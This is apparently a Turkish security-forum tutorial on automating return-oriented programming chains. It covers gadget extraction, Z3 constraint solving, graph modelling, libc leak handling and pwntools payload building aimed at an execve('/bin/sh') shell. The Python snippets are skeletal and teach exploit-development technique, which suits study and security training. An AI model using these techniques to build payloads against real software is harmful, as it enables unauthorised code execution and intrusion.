Hoşgeldin Misafir

Binary Exploitation’da ROP "Return-Oriented Programming" Zinciri Otomasyonu Nasıl Geliştirilir?

Conrado Sol

29 Nis 2026
59 Mesaj

Aktiflik

Seviye

Deneyim

TIM / GÖREV:
Selamın aleyküm herkese iyi çalışmalar dilerim,

Return-Oriented Programming (ROP), modern binary exploitation süreçlerinin temel taşlarından biridir. NX (Non-Executable) korumasının yaygınlaşmasıyla birlikte, saldırganlar shellcode enjekte etmek yerine mevcut kod parçacıklarını (gadget) zincirleyerek hedef davranışı elde etmeye yönelmiştir.

Ancak manuel ROP zinciri oluşturmak zaman alıcı, hata yapmaya açık ve her binary için yeniden geliştirme gerektirir. Bu nedenle ROP zinciri otomasyonu, exploitation süreçlerini ölçeklenebilir ve yeniden kullanılabilir hale getirmek için kritik bir adımdır.

Not: Konu sonuna 1 adet YouTube videosu ve 1 adet PDF dökümanı eklenmiştir. Konumuz yapısı gereği karmaşık olduğundan parçalaya parçalaya anlatmaya çalıştım. Hatamız olursa aff ola ..

ROP zinciri oluşturma süreci aslında şu sorunun çözümüdür,
Verilen bir gadget kümesi ile belirli bir register/memory durumuna nasıl ulaşılır?

Örnek olarak,

rdi = "/bin/sh"
rsi = 0
rdx = 0
rax = 59
syscall

Bu problem, durum geçişleri (state transitions), kısıtlar (constraints), yan etkiler (side-effects) içeren bir constraint satisfaction problem (CSP) olarak modellenebilir.

Gadget Keşfi ve Semantik Ayrıştırma​


Klasik araçlar (ROPgadget, rp++) sadece gadget listesi üretir. Ancak otomasyon için bu yeterli değildir.

Her gadget’ın semantiği çıkarılmalıdır:

pop rdi; ret
→ rdi = [rsp], rsp += 8

add rax, 1; ret
→ rax = rax + 1

Disassembly: Capstone Engine >> Parsing: Instruction-level analiz >> Çıktı: Semantik temsil (IR – Intermediate Representation)

MMB833K.gif


Gadget’ların Sınıflandırılması​


Otomasyon için gadget’lar kategorize edilmelidir:

Data movement
pop, mov, xchg

Arithmetic
add, sub, xor

Control
call, jmp, ret

Syscall tetikleyici
Memory primitive

write-what-where

ROP Zinciri = State Transition Graph​


ROP problemi bir graph olarak modellenebilir:

Node: Register durumu
Edge: Gadget (state transition)

State A: rdi = ?, rax = ?
|
| (pop rdi)
v
State B: rdi = controlled

Buradaki amaç Başlangıç durumundan hedef duruma ulaşmak.

dQ7nnwT.gif


Constraint Solver Entegrasyonu​


Bazı durumlarda (Belirli register kombinasyonları, Yan etkilerin dengelenmesi) doğrudan graph araması yeterli değildir.

Bu noktada SMT solver (örneğin Z3) devreye girer.

rdi == binsh_addr
rsi == 0
rdx == 0
rax == 59

Solver, hangi gadget kombinasyonu bu durumu sağlar sorusuna cevap verir.
Bunun avantajı ise otomatik çözüm üretimi ve karmaşık zincirlerde doğruluktur.

Yan Etkiler (Side-Effects) Problemi​


Gerçek dünyada gadget’lar “temiz” değildir:

pop rdi; pop rsi; ret

Bu gadget rdi’yi ayarlar ama rsi’yi de bozar

Peki buna karşın ne yapmalı?​


>Gadget’lara cost/penalty atanır
>Minimum yan etkili zincir seçilir
>Gerekirse düzeltici gadget eklenir

Stack Yönetimi ve Alignment​


ROP zincirinde stack kontrolü kritik öneme sahiptir:

+ rsp kayması
+ alignment gereksinimleri (özellikle x64)

Yanlış hizalama, crash ve syscall başarısızlığını doğurur.

Otomasyon:​

Her gadget için stack delta hesaplanmalı ve zincir sonunda alignment doğrulanmalıdır.

Runtime Adaptasyonu (ASLR & PIE)​

Gerçek exploit ortamında adresler sabit değildir:

ASLR
PIE
Randomized libc

Gerekli bileşenler nelerdir? Sırasıyla,​

-Leak parser
-Base address hesaplama
-Libc eşleştirme (libc database)

Pipeline
Leak > Base calc > Offset resolve > ROP chain rebuild

nWZ7cjg.gif


Zincir Optimizasyonu​


İyi bir ROP otomasyon sistemi:

Daha kısa zincir üretir
Daha stabil çalışır
Daha az yan etki içerir

Scoring sistemi:​

Her gadget için:

Uzunluk maliyeti
Yan etki maliyeti
Stack etkisi

Toplam skor minimize edilir.

Symbolic Execution ile Entegrasyon​


İleri seviye sistemlerde:

Binary sembolik olarak çalıştırılır
Crash noktası otomatik bulunur
Kontrol edilebilir input çıkarılır

Bu noktada angr gibi framework’ler kullanılabilir

Bu şekilde Exploit geliştirme yarı otomatik hale gelir.

Bir ROP otomasyon sistemi şu bileşenlerden oluşmalıdır:

[ Gadget Extractor ]

[ Semantic Analyzer ]

[ Gadget Database ]

[ Constraint Solver ]

[ Chain Builder (Graph Engine) ]

[ Optimizer ]

[ Runtime Adapter ]

Yazımıza örneklerimiz ile devam edelim bu şekilde konuyu pekiştirelim.

Gadget Çekme ve Basit Ayrıştırma​


Önce binary’den gadget’ları çekelim ve semantik olarak etiketleyelim:
Python:
from capstone import *
import subprocess

def extract_gadgets(binary_path):
    result = subprocess.check_output(["ROPgadget", "--binary", binary_path])
    lines = result.decode().splitlines()

    gadgets = []
    for line in lines:
        if " : " in line:
            addr, instr = line.split(" : ")
            gadgets.append({
                "addr": int(addr, 16),
                "instr": instr.strip()
            })
    return gadgets


def classify_gadget(g):
    instr = g["instr"]

    if instr.startswith("pop rdi"):
        return "POP_RDI"
    elif instr.startswith("pop rsi"):
        return "POP_RSI"
    elif "syscall" in instr:
        return "SYSCALL"
    elif "mov" in instr:
        return "MOV"
    return "OTHER"

Semantik Model (Basit IR)​


Her gadget’ın register üzerindeki etkisini modelleyelim:
Python:
def semantic_effect(g):
    instr = g["instr"]

    if instr.startswith("pop rdi"):
        return {"rdi": "stack", "rsp_inc": 8}
    elif instr.startswith("pop rsi"):
        return {"rsi": "stack", "rsp_inc": 8}
    elif "syscall" in instr:
        return {"syscall": True}
    
    return {}

Hedef Tanımı (Constraint Model)​


Bir execve zinciri hedefi:
Python:
target = {
    "rdi": "binsh",
    "rsi": 0,
    "rdx": 0,
    "rax": 59
}

Basit Chain Builder (Heuristic)​


İlk versiyon: brute-force yerine greedy yaklaşım:
Python:
def build_chain(gadgets, target):
    chain = []

    for reg in ["rdi", "rsi", "rdx", "rax"]:
        for g in gadgets:
            if classify_gadget(g) == f"POP_{reg.upper()}":
                chain.append(g)
                break

    for g in gadgets:
        if classify_gadget(g) == "SYSCALL":
            chain.append(g)
            break

    return chain

Z3 ile Constraint Solver Entegrasyonu​


Daha ileri: register değerlerini constraint olarak çözelim:


Python:
from z3 import *

def solve_registers():
    rdi = BitVec('rdi', 64)
    rsi = BitVec('rsi', 64)
    rdx = BitVec('rdx', 64)
    rax = BitVec('rax', 64)

    s = Solver()

    s.add(rdi == 0xdeadbeef)  # örnek /bin/sh addr
    s.add(rsi == 0)
    s.add(rdx == 0)
    s.add(rax == 59)

    if s.check() == sat:
        model = s.model()
        return model
    else:
        return None

print(solve_registers())

Gadget Graph Modeli​


Gadget’ları graph olarak modelleyelim:
Python:
import networkx as nx

def build_graph(gadgets):
    G = nx.DiGraph()

    for g in gadgets:
        effect = semantic_effect(g)
        G.add_node(g["addr"], effect=effect)

    # naive: tüm gadget’lar birbirine bağlı
    for g1 in gadgets:
        for g2 in gadgets:
            G.add_edge(g1["addr"], g2["addr"])

    return G

Cost-Based Zincir Optimizasyonu​


Her gadget’a maliyet verelim:
Python:
def gadget_cost(g):
    instr = g["instr"]

    cost = 1

    if "pop" in instr:
        cost += 1
    if "mov" in instr:
        cost += 2
    if "syscall" in instr:
        cost += 5

    return cost


def chain_cost(chain):
    return sum(gadget_cost(g) for g in chain)

Payload Üretimi​


Son aşama: gerçek exploit payload:
Python:
from pwn import *

def build_payload(chain, values):
    payload = b"A" *  offset  # overflow offset

    for g in chain:
        payload += p64(g["addr"])

        if "pop rdi" in g["instr"]:
            payload += p64(values["rdi"])
        elif "pop rsi" in g["instr"]:
            payload += p64(values["rsi"])
        elif "pop rdx" in g["instr"]:
            payload += p64(values["rdx"])
        elif "pop rax" in g["instr"]:
            payload += p64(values["rax"])

    return payload

Runtime Adaptasyon (Leak >> Base >> ROP)​

Python:
def compute_base(leak, known_offset):
    return leak - known_offset


libc_base = compute_base(leaked_puts, puts_offset)

binsh = libc_base + binsh_offset
system = libc_base + system_offset

İskelet Yapısı

rop_framework/

├── core/
│ ├── gadget_extractor.py
│ ├── semantic_engine.py
│ ├── gadget_db.py

├── solver/
│ ├── constraint_solver.py
│ ├── chain_planner.py

├── analysis/
│ ├── binary_loader.py
│ ├── protections.py

├── utils/
│ ├── logger.py
│ ├── config.py

├── cli.py
└── requirements.txt